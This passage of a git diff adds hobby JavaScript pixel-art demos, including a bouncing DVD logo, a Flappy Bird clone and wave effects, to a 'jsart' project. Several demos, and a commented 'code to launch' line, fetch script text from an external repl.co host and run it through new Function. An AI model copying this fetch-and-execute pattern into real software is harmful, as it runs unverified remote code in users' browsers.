,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; + return data[(sx)+(sy*256)]; + } +})(); \ No newline at end of file diff --git a/files/jsart/demos/brws-data.json b/files/jsart/demos/brws-data.json new file mode 100644 index 0000000..c1766b4 --- /dev/null +++ b/files/jsart/demos/brws-data.json @@ -0,0 +1 @@ +{"files":[{"file":"browser-background.txt","access":true},{"file":"browser.txt","access":true},{"file":"flappy-art.js","access":true},{"file":"text-engine-small.txt","access":true},{"file":"text-engine.txt","access":true},{"file":"headache.txt","access":true},{"file":"pluto.js","access":true},{"file":"dvd-screensaver.txt","access":true},{"file":"atari-breakout.txt","access":true},{"file":"notepad.js","access":true},{"file":"picsum.js","access":true},{"file":"cubic-water.js","access":true},{"file":"dizzy.js","access":true},{"file":"glowing-fluorescent-light.js","access":true},{"file":"videoplay.js","access":true},{"file":"opp.js","access":true},{"file":"threeTest.js","access":true}]} \ No newline at end of file diff --git a/files/jsart/demos/cube.js b/files/jsart/demos/cube.js new file mode 100644 index 0000000..9e77fb2 --- /dev/null +++ b/files/jsart/demos/cube.js @@ -0,0 +1,18 @@ +(()=>{ + if(x+y==0){ + if(!window.cubeEngine){ + window.cubeEngine={"svg":document.createElement("svg"),"c":{"anvas":document.createElement("canvas")}} + window.cubeEngine.c.anvas.width=window.cubeEngine.c.anvas.height=256; + window.cubeEngine.c.tx=window.cubeEngine.c.anvas.getContext("2d"); + window.cubeEngine.svg.width=window.cubeEngine.svg.height=256; + window.cubeEngine.svg.innerHTML='SVG'; + } + window.cubeEngine.c.tx.clearRect(0,0,256,256) + window.cubeEngine.c.tx.drawImage(window.cubeEngine.svg,0,0); + window.cubeEngine.vdata=window.cubeEngine.c.tx.getImageData(0,0,256,256).data; + } + let idx = (x+(y*256))*4 + let vdata=window.cubeEngine.vdata; + let alpha=vdata[idx+3]/256; + return (Math.floor(vdata[idx+0]/alpha)*65536)+(Math.floor(vdata[idx+1]/alpha)*256)+Math.floor(vdata[idx+2]/alpha) +})() \ No newline at end of file diff --git a/files/jsart/demos/cubic-water.js b/files/jsart/demos/cubic-water.js new file mode 100644 index 0000000..355d9ed --- /dev/null +++ b/files/jsart/demos/cubic-water.js @@ -0,0 +1,33 @@ +(()=>{ + /* Cubic Water */ + if(x==0&&y==0){ + if(window.cubicw){ + for(i=0;i=cube.x&&x<(cube.x+16)&&y>=cube.y&&y<(cube.y+16)){ + bg2=cube.color; + }; + }; + let bg = (bg2 ? bg2 : bg1); + let main=0; + if(y>128+((Math.sin((x/50)+(t/400))+Math.sin((x+(t/4))/70))*20)){main=128;}; + return (main ? (main+bg) : bg); +})(); \ No newline at end of file diff --git a/files/jsart/demos/daydun.js b/files/jsart/demos/daydun.js new file mode 100644 index 0000000..0a908ec --- /dev/null +++ b/files/jsart/demos/daydun.js @@ -0,0 +1,39 @@ +(()=>{ + if(x+y==0){ + if(window.daydunSupport){ + window.daydunSupport.sw=document.querySelector("input#width").valueAsNumber; + window.daydunSupport.sh=document.querySelector("input#height").valueAsNumber; + } else { + window.daydunSupport={"sw":document.querySelector("input#width").valueAsNumber,"sh":document.querySelector("input#height").valueAsNumber,"mouseDown":0,"keyvents":0}; + let ignorekeys = [32,37,38,39,40] + window.addEventListener("mousedown",(e)=>{ + window.daydunSupport.mouseDown = 1 + }) + window.addEventListener("mouseup",(e)=>{ + window.daydunSupport.mouseDown = 0 + }) + window.addEventListener("touchstart",(e)=>{ + window.daydunSupport.mouseDown = 1 + }) + window.addEventListener("touchend",(e)=>{ + window.daydunSupport.mouseDown = 0 + }) + window.addEventListener("keyup",(e)=>{ + window.daydunSupport.keyvents = 0 + }) + window.addEventListener("keydown",(e)=>{ + if (ignorekeys.includes(e.keyCode)){ + e.preventDefault() + } + window.daydunSupport.keyvents = e.keyCode + }) + }; + } + function CalculateC(x,y){ let ox = x - width / 2;let oy = y - height / 2;let mx = -(width / 2);let my = -(height / 2);let dist = Math.sqrt((ox ** 2) + (oy ** 2));let max = Math.sqrt((mx ** 2) + (my ** 2));let out = max - dist;if (out > 256) {out = 255;};return [out, dist] }; + let pxC=CalculateC(x,y); + let out = (()=>{ let sw=window.daydunSupport.sw; let sh=window.daydunSupport.sh; let c=pxC[0]; let ic=pxC[1]; let cl=window.daydunSupport.mouseDown; let k=window.daydunSupport.keyvents; x=Math.floor((x/sw)*256);y=Math.floor((y/sh)*256);mx=(mx/sw)*256;my=(my/sh)*256;sw=256;sh=256; if(x==0&&y==0){if(!window.ftchr){(()=>{ fetch("https://jsart.ponali.repl.co/demos/browser.js").then(data=>data.text()).then((body)=>{window.ftchr.func= new Function("i","t","x","y","mx","my","sw","sh","c","ic","cl","k","return "+body);}) })();window.ftchr={"func":(()=>{return 255;})};}} return window.ftchr.func(i,t,x,y,mx,my,sw,sh,c,ic,cl,k); })(); + return out; +})(); + +// code to launch: +// (()=>{ if(x==0&&y==0){if(!window.dyftchr){(()=>{ fetch("https://jsart.ponali.repl.co/demos/daydun.js").then(data=>data.text()).then((body)=>{window.dyftchr.func= new Function("i","t","x","y","mx","my","return "+body);}) })();window.dyftchr={"func":(()=>{return 0xff00ff;})};}} return window.dyftchr.func(i,t,x,y,mx,my); })() \ No newline at end of file diff --git a/files/jsart/demos/dizzy.js b/files/jsart/demos/dizzy.js new file mode 100644 index 0000000..57a809c --- /dev/null +++ b/files/jsart/demos/dizzy.js @@ -0,0 +1 @@ +(()=>{ function rgb2val(r,g,b){r=Math.floor(r);g=Math.floor(g);b=Math.floor(b);return (r*65536)+(g*256)+b;}; let bg = rgb2val((Math.sin(((t/120)+(c/10))+0)+1)*128,(Math.sin(((t/100)+(c/10))+180)+1)*128,(Math.sin(((t/80)+(c/10))+360)+1)*128); let fsin = Math.sin((x/40)+Math.sin((y/20)+(x/20)+(t/300))+(t/150))/10;let fore = y>(128*(fsin+0.9))&&y<(128*(fsin+1.1));fore=rgb2val(127*(Math.cos((fsin+1)*180)+1),127*(Math.sin((fsin+1)*180)+1),127*(Math.sin(((fsin+1)*180)+180)+1))*fore; return (fore ? (fore) : bg); })() \ No newline at end of file diff --git a/files/jsart/demos/dream.js b/files/jsart/demos/dream.js new file mode 100644 index 0000000..ce41726 --- /dev/null +++ b/files/jsart/demos/dream.js @@ -0,0 +1,83 @@ +(()=>{ + if((x+y)==0){ + if(window.dream){ + window.dream.interval++; + window.dream.interval2++; + if(window.dream.interval2==500){window.dream.interval2=0;window.dream.chklength=Math.floor(window.dream.chklength+50);} + window.dream.useScreenCapture=0; + if(window.dream.interval>80){ + window.dream.useScreenCapture=1; + if(window.dream.interval>180){ + window.dream.interval=40-Math.floor(Math.random()*80); + window.dream.useScreenCapture=0; + } + window.dream.screenCapture.push({"data":[],"mx":mx,"my":my,"cl":cl,"k":k,"sw":sw,"sh":sh}); + }; + window.dream.removing = 0; + if(window.dream.screenCapture.length>window.dream.chklength){ + window.dream.screenCapture.splice(0,1); + if(!window.dream.removeChance){ + window.dream.removeChance=Math.floor(Math.random()*20); + console.log("setting chance") + } + window.dream.removing = 1; + } else { + window.dream.removeChance=0; + }; + console.log(window.dream.removing+" remove") + }else{ + window.dream = {"screenCapture":[],"interval":0,"useScreenCapture":0,"interval2":0,"chklength":100,"removing":0,"removeChance":0}; + } + }; + if(window.dream.removing){ + let cursorChance = window.dream.removeChance%4; + if((cursorChance==1)||(cursorChance==3)){ + mx = window.dream.screenCapture[0].mx; + } + if((cursorChance==2)||(cursorChance==3)){ + my = window.dream.screenCapture[0].my; + }; + if((window.dream.removeChance%3)==2){ + cl = window.dream.screenCapture[0].cl; + } + if((window.dream.removeChance%5)==2){ + k = window.dream.screenCapture[0].k; + } + } + let out = (()=>{ x=Math.floor((x/sw)*256);y=Math.floor((y/sh)*256);mx=(mx/sw)*256;my=(my/sh)*256;sw=256;sh=256; if(x==0&&y==0){if(!window.dftchr){(()=>{ fetch("https://jsart.ponali.repl.co/demos/browser.js").then(data=>data.text()).then((body)=>{window.dftchr.func= new Function("i","t","x","y","mx","my","sw","sh","c","ic","cl","k","return "+body);}) })();window.dftchr={"func":(()=>{return 255;})};}} return window.dftchr.func(i,t,x,y,mx,my,sw,sh,c,ic,cl,k); })(); + /*if(window.dream.interval>180){ + window.dream.screenCapture[window.dream.screenCapture.length-1].data.push(out); + let screen = window.dream.screenCapture[window.dream.screenCapture.length-100]; + if(x>(screen.mx-16)&&x<(screen.mx+16)&&y>(screen.my-16)&&y<(screen.my+16)){ + out = screen.data[x+(y*256)]*(screen.k+1); + } + };*/ + if(window.dream.useScreenCapture){ + window.dream.screenCapture[window.dream.screenCapture.length-1].data.push(out); + } + if(window.dream.removing){ + function show(screen,screenBefore){ + if(screen!=screenBefore){ + let dif = Math.min((Math.abs(Math.floor((screen-screenBefore)/65793))/256)*8,1); + let rgbv = [(out&0xff0000)/0x10000,(out&0xff00)/0x100,out&0xff]; + let rgbv2 = [(screen&0xff0000)/0x10000,(screen&0xff00)/0x100,screen&0xff]; + let rgbv3 = [(rgbv2[0]*dif)+(rgbv[0]*(1-dif)),(rgbv2[1]*dif)+(rgbv[1]*(1-dif)),(rgbv2[2]*dif)+(rgbv[2]*(1-dif))]; + let val = (Math.floor(rgbv3[0])*0x10000)+(Math.floor(rgbv3[1])*0x100)+Math.floor(rgbv3[2]); + out = val*rev; + if(x+(y*256)==Math.floor(mx)+(Math.floor(my)*256)){console.log(dif,rgbv,rgbv2,rgbv3,val.toString(16));} + }; + } + let rev = 1; + function show2(idxa,idxb){ + show(window.dream.screenCapture[idxa].data[x+(y*window.dream.screenCapture[1].sw)],window.dream.screenCapture[idxb].data[x+(y*window.dream.screenCapture[0].sw)]); + } + //if((window.dream.removeChance%7)==5){rev = -1;} + //if((x+y)<10){return window.dream.removeChance*12;} + for(i=0;i{ + +function texture(sx,sy){ + let data = [0,0,0,0,0,11513775,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16316664,4737096,0,0,0,0,0,0,0,0,0,986895,13619151,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,16382457,15724527,12829635,8618883,4408131,789516,0,0,0,0,0,0,0,0,0,14145495,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,10000536,0,0,0,0,0,0,0,0,657930,14474460,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16711422,16316664,6184542,0,0,0,0,0,0,0,0,16119285,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,13882323,0,0,0,0,0,0,0,394758,10197915,16711422,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16645629,11776947,592137,0,0,0,0,0,2697513,10592673,10526880,10526880,10526880,10526880,10526880,10526880,10658466,11974326,13750737,15790320,16711422,16777215,16777215,16777215,16777215,16777215,16777215,16514043,15000804,16777215,16777215,16777215,16777215,16185078,2236962,0,0,0,0,0,0,8092539,16711422,16777215,16777215,16777215,16777215,16053492,11184810,10921638,10724259,10592673,10592673,10526880,10526880,10526880,11447982,13158600,15132390,16579836,16777215,16777215,16777215,16777215,16777215,16777215,12632256,657930,0,0,0,0,0,0,0,0,0,0,0,0,0,197379,328965,1250067,10592673,16711422,16777215,16777215,16777215,16777215,16777215,16645629,11579568,16711422,16777215,16777215,16777215,16777215,10132122,0,0,0,0,0,2302755,16316664,16777215,16777215,16777215,16777215,16777215,7566195,65793,65793,0,0,0,0,0,0,131586,263172,592137,5855577,16250871,16777215,16777215,16777215,16777215,16777215,16777215,5000268,0,0,0,328965,15527148,16579836,16579836,16579836,16579836,16514043,5987163,0,0,0,0,0,0,8224125,16777215,16777215,16777215,16777215,16777215,16777215,10987431,15658734,16777215,16777215,16777215,16777215,15592941,986895,0,0,0,1907997,15527148,16777215,16777215,16777215,16777215,16645629,9408399,8816262,16645629,16579836,16579836,16579836,16579836,11645361,0,0,0,0,0,0,2565927,15461355,16777215,16777215,16777215,16777215,16777215,11513775,0,0,0,2302755,16382457,16777215,16777215,16777215,16777215,16250871,1579032,0,0,0,0,0,0,1644825,16777215,16777215,16777215,16777215,16777215,16777215,12369084,13027014,16777215,16777215,16777215,16777215,16711422,3618615,0,0,1052688,12566463,16777215,16777215,16777215,16777215,16777215,11579568,394758,11776947,16777215,16777215,16777215,16777215,16777215,8158332,0,0,0,0,0,0,131586,12105912,16777215,16777215,16777215,16777215,16777215,15461355,0,0,0,4342338,16645629,16777215,16777215,16777215,16777215,14606046,855309,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,11776947,8026746,16777215,16777215,16777215,16777215,16777215,6908265,0,0,10855845,16777215,16777215,16777215,16777215,16777215,13487565,460551,0,14869218,16777215,16777215,16777215,16777215,16777215,5526612,0,0,0,0,0,0,0,11184810,16777215,16777215,16777215,16777215,16777215,15263976,0,0,0,7960953,16777215,16777215,16777215,16777215,16777215,13027014,197379,0,0,0,0,0,0,3289650,16777215,16777215,16777215,16777215,16777215,16711422,6645093,1644825,16119285,16777215,16777215,16777215,16777215,12632256,65793,6710886,16316664,16777215,16777215,16777215,16777215,15132390,2500134,0,2565927,16250871,16777215,16777215,16777215,16777215,16711422,2500134,0,0,0,0,0,0,328965,13158600,16777215,16777215,16777215,16777215,16777215,10921638,0,0,0,11645361,16777215,16777215,16777215,16777215,16777215,9539985,0,0,0,0,0,0,0,9079434,16777215,16777215,16777215,16777215,16777215,15066597,0,0,10790052,16777215,16777215,16777215,16777215,16645629,3487029,16579836,16777215,16777215,16777215,16777215,15592941,3092271,0,0,6710886,16777215,16777215,16777215,16777215,16777215,14671839,723723,0,0,0,0,0,0,2829099,16185078,16777215,16777215,16777215,16777215,16711422,4605510,0,0,263172,15856113,16777215,16777215,16777215,16777215,16777215,4473924,0,0,0,0,0,65793,5987163,16250871,16777215,16777215,16777215,16777215,16777215,7566195,0,0,6118749,16777215,16777215,16777215,16777215,16777215,14935011,16777215,16777215,16777215,16777215,16579836,4934475,65793,0,65793,12171705,16777215,16777215,16777215,16777215,16777215,10658466,0,0,0,0,0,0,2368548,15592941,16777215,16777215,16777215,16777215,16777215,14145495,526344,0,0,4144959,16645629,16777215,16777215,16777215,16777215,16119285,0,0,0,0,65793,3026478,10329501,16382457,16777215,16777215,16777215,16777215,16711422,10263708,0,0,0,1973790,16711422,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16711422,7303023,0,0,0,1052688,15066597,16777215,16777215,16777215,16777215,16645629,5789784,0,0,0,0,789516,7500402,14869218,16777215,16777215,16777215,16777215,16777215,14342874,1447446,0,0,0,8684676,16777215,16777215,16777215,16777215,16777215,12961221,3552822,3618615,3815994,8947848,14013909,16711422,16777215,16777215,16777215,16777215,16777215,16448250,11382189,526344,0,0,0,0,12895428,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16645629,10658466,0,0,0,0,2565927,16119285,16777215,16777215,16777215,16777215,16316664,5329233,3552822,3750201,5855577,12632256,16382457,16777215,16777215,16777215,16777215,16777215,16777215,14408667,2697513,0,0,0,0,11645361,16777215,16777215,16777215,16777215,16777215,16711422,16645629,16645629,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16579836,6316128,263172,0,0,0,0,0,4210752,16777215,16777215,16777215,16777215,16777215,16777215,16777215,12040119,197379,0,0,0,0,5131854,16579836,16777215,16777215,16777215,16777215,16777215,16645629,16645629,16711422,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11053224,1184274,0,0,0,0,0,14013909,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,15000804,8289918,1644825,0,0,0,0,0,0,0,526344,15066597,16777215,16777215,16777215,16777215,16777215,12961221,1381653,0,0,0,0,0,8421504,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16579836,10329501,4473924,0,0,0,0,0,0,592137,15921906,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16711422,16645629,16579836,16250871,14869218,13421772,4671303,131586,0,0,0,0,0,0,0,0,0,131586,12040119,16777215,16777215,16777215,16777215,15790320,2039583,0,0,0,0,0,0,12895428,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16711422,16711422,16579836,16382457,15592941,13948116,9145227,460551,0,0,0,0,0,0,0,0,1052688,4342338,4408131,4408131,4408131,4408131,4408131,4408131,4408131,4408131,4144959,3618615,2565927,921102,65793,0,0,0,0,0,0,0,0,0,0,0,0,6579300,16777215,16777215,16777215,15790320,2565927,0,0,0,0,0,0,0,4144959,4408131,4408131,4408131,4408131,4408131,4408131,4408131,4408131,4276545,3881787,2829099,1710618,131586,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1513239,15461355,16777215,16185078,5460819,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,10263708,16777215,6974058,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5329233,8618883,328965,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,723723,2500134,3289650,4079166,5395026,6184542,6447714,8158332,9342606,9868950,10461087,10724259,10921638,11579568,12303291,12961221,13487565,13750737,13948116,13882323,13816530,13553358,13158600,12566463,11842740,11053224,10790052,10592673,10066329,9539985,8618883,6645093,6316128,5658198,4605510,3421236,2763306,1447446,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,197379,789516,1184274,3552822,8882055,11711154,14803425,15724527,16316664,16711422,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16514043,15921906,15198183,13158600,9868950,5789784,1315860,921102,460551,0,0,0,0,0,0,0,0,0,0,3092271,9145227,12434877,14803425,16053492,16514043,16711422,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16645629,16316664,15198183,13487565,10790052,5263440,0,0,0,0,0,0,3618615,13224393,16448250,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16711422,13158600,10724259,8882055,6579300,5131854,4934475,4934475,5131854,6184542,8553090,10395294,12763842,16382457,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16711422,14737632,5987163,526344,0,0,0,16316664,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16645629,5329233,0,0,0,0,0,0,0,0,0,0,0,0,3487029,16514043,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16711422,4934475,0,0,0,7631988,16119285,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14145495,8882055,4276545,1907997,0,0,0,0,0,0,1381653,4013373,8026746,13487565,16711422,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16514043,12171705,1579032,0,0,0,0,2236962,8289918,12369084,15000804,16316664,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16645629,15921906,15461355,14737632,14342874,14342874,14671839,15395562,15856113,16579836,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16645629,15461355,13355979,9934743,4276545,0,0,0,0,0,0,0,0,0,0,2894892,6579300,11250603,14474460,16514043,16579836,16645629,16711422,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16711422,16645629,16645629,16579836,15461355,12369084,8882055,3947580,855309,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,394758,921102,1907997,2565927,3947580,5000268,5460819,6710886,9276813,10197915,11053224,11776947,14145495,15066597,15461355,15987699,16448250,16579836,16579836,16579836,16579836,16579836,16579836,16579836,16579836,16579836,16579836,16514043,16185078,15658734,15263976,14540253,12632256,11119017,10526880,9605778,8026746,5592405,5197647,4408131,2894892,2171169,1118481,592137,65793,0,0,0,0,0,0,0,0,0,0,0];return data[(sx)+(sy*64)]; +} + +if(x==0&&y==0){ + if(window.dvd){ + window.dvd.dx+=window.dvd.vx; + window.dvd.dy+=window.dvd.vy; + function randomColor(){let old = window.dvd.color; window.dvd.color=("f0"[(Math.random()>=0.5)+0])+("f0"[(Math.random()>=0.5)+0])+("f0"[(Math.random()>=0.5)+0]);if(window.dvd.color=="000"||window.dvd.color==old||window.dvd.color=="fff"){randomColor();}} + if(window.dvd.dx<=0){window.dvd.vx=Math.abs(window.dvd.vx);randomColor()} + if(window.dvd.dx>=(sw-64)){window.dvd.vx=0-Math.abs(window.dvd.vx);randomColor()} + if(window.dvd.dy<=0){window.dvd.vy=Math.abs(window.dvd.vy);randomColor()} + if(window.dvd.dy>=(sh-29)){window.dvd.vy=0-Math.abs(window.dvd.vy);randomColor()} + } else { + window.dvd = {"vx":1,"vy":1,"dx":0,"dy":0,"color":"fff"}; + } +} +let dx = window.dvd.dx; let dy = window.dvd.dy; +let color = "0x"+window.dvd.color[0].repeat(2)+window.dvd.color[1].repeat(2)+window.dvd.color[2].repeat(2) +return (Math.floor(texture(x-(dx+1),y-dy)/65793)*(color/255))*(x<=(64+dx)&&y<=(29+dy)&&x>dx&&y>dy) + +})(); \ No newline at end of file diff --git a/files/jsart/demos/filter.js b/files/jsart/demos/filter.js new file mode 100644 index 0000000..31073a0 --- /dev/null +++ b/files/jsart/demos/filter.js @@ -0,0 +1,28 @@ +(()=>{ + if(x+y==0){ + if(!window.filterSettings){ + window.filterSettings={originalColorDepth:32,alteredColorDepth:33} + } + window.filterVRam=[]; + for(i=0;i<65536;i++){ + let out=0; + out=((i,t,x,y,mx,my,sw,sh,c,ic,cl,k)=>{ x=Math.floor((x/sw)*256);y=Math.floor((y/sh)*256);mx=(mx/sw)*256;my=(my/sh)*256;sw=256;sh=256; if(x==0&&y==0){if(!window.ftftchr){(()=>{ fetch("https://jsart.ponali.repl.co/demos/browser.js").then(data=>data.text()).then((body)=>{window.ftftchr.func= new Function("i","t","x","y","mx","my","sw","sh","c","ic","cl","k","return "+body);}) })();window.ftftchr={"func":(()=>{return 255;})};}} return window.ftftchr.func(i,t,x,y,mx,my,sw,sh,c,ic,cl,k); })(i,t,(i%sw),Math.floor(i/sw),mx,my,sw,sh,c,ic,cl,k); + window.filterVRam.push(out); + } + + //filter + let bytes=""; + for(i=0;i{ + if(x==0&&y==0){ + if(window.fbe&&k!=27){ + gametick() + }else{ + init() + } + } + function init(){ + window.fbe = {bird:{frame:2,y:128,vy:0},pipes:[],mode:0,dev:{nocrop:false},score:0}; + } + function pipeCollision(bx,by){ + for(i=0;i(window.fbe.pipes[i].y+100)||window.fbe.bird.y<(window.fbe.pipes[i].y-20)){ + if(window.fbe.pipes[i].x<90){ + return true + } + } + }; + return false; + } + function gamepixel(sx,sy){ + let px = texture(sx,sy); + for(i=0;iwindow.fbe.pipes[i].x-13&&sx135)){px = ppx;}} + if(sx>window.fbe.pipes[i].x-13&&sx135)){px = ppx;}} + } + if(sy>210){ + px = texture(sx+146+(Math.floor(t/16)%7),sy-210); + } + if(sx>72-8&&sx<72+8&&sy>window.fbe.bird.y-6&&sy72-48)&&(sx<72+49)&&(sy>40-11)&&(sy<40+12)){ + lpx = texture((sx-(72-48))+145,(sy-(40-11))+172); + if(!!lpx){px = lpx;} + } + if((window.fbe.mode==2)&&(sx>72-48)&&(sx<72+48)&&(sy>40-10)&&(sy<40+10)){ + lpx = texture((sx-(72-47))+146,(sy-(40-9))+199); + if(!!lpx){px = lpx;} + } + if(pipeCollision(x,y)){px=0xff0000;} + if(k==220){ + px = texture(sx+Math.floor(mx),sy); + }; + return px; + } + if(((Math.abs(x-(sw/2))<(144/2))&&(Math.abs(y-(sh/2))<(256/2)))||!!window.fbe.dev.nocrop){ + return gamepixel((x-(sw/2)+(144/2)),(y-(sh/2)+(256/2))) + } + function gametick(){ + if(window.fbe.mode==1){ + window.fbe.bird.y-=window.fbe.bird.vy/6; + window.fbe.bird.vy-=1; + window.fbe.bird.rot=90; + }; + if(!!cl&&!window.fbe.mode){ + window.fbe.mode=1; + for(i=0;i<10;i++){ + window.fbe.pipes.push({x:((100*i)+250),y:(Math.random()*64)+96}); + } + }else if(!!cl){ + window.fbe.bird.vy=15; + window.fbe.bird.frame = 0; + }; + if(window.fbe.bird.y>210||window.fbe.bird.y<0){ + gameover(); + } + if(window.fbe.bird.frame!=2.75){ + window.fbe.bird.frame+=0.125 + }else if(!window.fbe.mode){ + window.fbe.bird.frame=0; + } + for(i=0;i210){window.fbe.bird.y=210;}; + for(i=0;i{ + if(x==0&&y==0){ + if(window.vd){ + window.vd.deg+=0.01; + if(window.vd.deg>(Math.PI*2)){ + window.vd.deg=0; + window.vd.visual++; + if(window.vd.visual==4){ + window.vd.visual=0; + } + } + }else{ + window.vd={"visual":0,"ram":[],"deg":(Math.PI/2)}; + for(i=0;i<65536;i++){ + window.vd.ram.push(i) + }; + }; + }; + function pxl(px,py){ + function val2rgb(val){ + return [Math.floor(val%256),Math.floor(val/256)%256,Math.floor(val/65536)%256]; + }; + function rgb2val(arr){ + r=Math.floor(arr[2]); + g=Math.floor(arr[1]); + b=Math.floor(arr[0]); + return (r*65536)+(g*256)+b; + }; + let rvl = 0x808080;let rvl2 = rvl; + switch (window.vd.visual){ + case 0: + rvl = window.vd.ram[((px-1)*1)+((py-1)*256)]; + rvl2 = window.vd.ram[((px+1)*1)+((py+1)*256)]; + break; + case 1: + rvl = window.vd.ram[((px)*1)+(((py+1)%256)*256)]; + rvl2 = window.vd.ram[((0-py)*1)+(((px+128)%256)*256)]; + break; + case 2: + rvl = window.vd.ram[((px+Math.floor(Math.cos(((y/10)+(t/250)))*2))*1)+(((py+1+Math.floor(Math.sin(((x/10)+(t/150)))*2))%256)*256)]; + rvl2 = window.vd.ram[((px)*1)+((py)*256)]; + break; + case 3: + rvl = window.vd.ram[(Math.floor(((px-128)*Math.sin(t/1000))+128)*1)+(Math.floor(((py-128)*Math.cos(t/1000))+128)*256)]; + rvl2 = window.vd.ram[(Math.floor((px+py)/1.6)*1)+((Math.floor((py+px-16)/1.6))*256)]; + }; + let rmcl1 = val2rgb((rvl ? rvl : 0)); + let rmcl2 = val2rgb(rvl2 ? rvl2 : 0); + let rmcl = [Math.floor((rmcl1[0]+rmcl2[0])/(1.00*2)),Math.floor((rmcl1[1]+rmcl2[1])/(1.00*2)),Math.floor((rmcl1[2]+rmcl2[2])/(1.00*2))]; + if(((Math.sin(window.vd.deg)*(x-128))+(Math.cos(window.vd.deg)*(y-128))>-1&&(Math.sin(window.vd.deg)*(x-128))+(Math.cos(window.vd.deg)*(y-128))<1)){ + return rgb2val([(Math.sin((window.vd.deg*2)+0)+1)*127,(Math.sin((window.vd.deg*2)+180)+1)*127,(Math.sin((window.vd.deg*2)+360)+1)*127]); + }; + return rgb2val(rmcl); + }; + let clr = pxl(x,y); + window.vd.ram[(x*1)+(y*256)]=clr; + return clr; +})() \ No newline at end of file diff --git a/files/jsart/demos/headache.txt b/files/jsart/demos/headache.txt new file mode 100644 index 0000000..63f0427 --- /dev/null +++ b/files/jsart/demos/headache.txt @@ -0,0 +1 @@ +(()=>{ vx=x+Math.sin(((x/50)+((y/40)*Math.sin((x+y)/100))+(t/1000)))*400; vy=y+Math.sin(((y/50)+(t/1000)))*400; let b = ((Math.sin((vx/40))*Math.cos(vy/40))+1)*128; let g = 